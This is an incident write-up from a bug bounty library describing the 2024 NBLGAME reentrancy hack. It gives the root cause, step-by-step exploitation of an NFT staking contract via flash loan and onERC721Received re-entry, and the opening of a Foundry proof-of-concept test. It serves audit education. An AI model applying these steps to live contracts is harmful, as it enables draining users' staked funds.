# NBLGAME: reentrancy in withdrawNft drains staked NBL

NBLGAME NFT staking contract lacked reentrancy protection in withdrawNft, letting attacker re-enter via onERC721Received to drain staked NBL tokens.

- Payout: Real-world hack
- Severity: high
- Program: NBLGAME
- Analysis by: DeFiHackLabs
- Disclosed: 2024-01-25
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2024-01/NBLGAME_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20240125-nblgame
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity vuln:reentrancy

**Target:** NFT staking contract on Optimism
**Root cause:** withdrawNft transfers the NFT before updating state and lacks a reentrancy guard, so the ERC721 receive hook can re-enter and withdraw again.
**Steps:**
1. Flash loan NBL from Uniswap V3 NBL/USDT pool equal to NblNftStake's NBL balance.
2. Approve NBL and USDT to Router and NblNftStake; setApprovalForAll for NBF to NblNftStake.
3. Call `NblNftStake.unlockSlot()`.
4. Deposit NFT id 737 via `depositNft(737, 0)` and deposit borrowed NBL via `depositNbl(0, amount)`.
5. Call `withdrawNft(0)`; inside the NFT transfer, `onERC721Received` re-enters: transfer NFT back to stake, call `withdrawNft(0)` again, then `depositNft(737, 0)`.
6. Repay flash loan with fee; swap remaining NBL to USDT and WETH via Router.exactInputSingle.
**Exploitation:** Attacker flash-borrowed the staked NBL, deposited it with an NFT, then triggered withdrawNft. The ERC721 transfer callback re-entered withdrawNft to withdraw the same slot again, effectively double-withdrawing the staked NBL. After repaying the flash loan, the surplus NBL was swapped to USDT and WETH for profit (~$180K).
**Insight:** When auditing NFT staking contracts, check whether withdraw functions transfer the NFT before zeroing the deposit record and whether they implement nonReentrant; the ERC721 safeTransferFrom callback is a reliable reentry vector.

## Proof of concept (copied exactly from the original report)

**Flash loan and exploit entry test**

```
function testExploit() public {
        emit log_named_decimal_uint(
            "Exploiter USDT balance before attack", USDT.balanceOf(address(this)), USDT.decimals()
        );

        emit log_named_decimal_uint(
            "Exploiter WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals()
        );

        // Transfering NBF NFT token (id = 737) from main attack contract to helper attack contract which will be exploiting reentrancy vulnerability
        vm.prank(mainAttackContract, exploiterEOA);
        NBF.transferFrom(mainAttackContract, address(this), 737);
        assertEq(NBF.ownerOf(737), address(this));

        NBL_USDT.flash(address(this), NBL.balanceOf(address(NblNftStake)), 0, "");
```

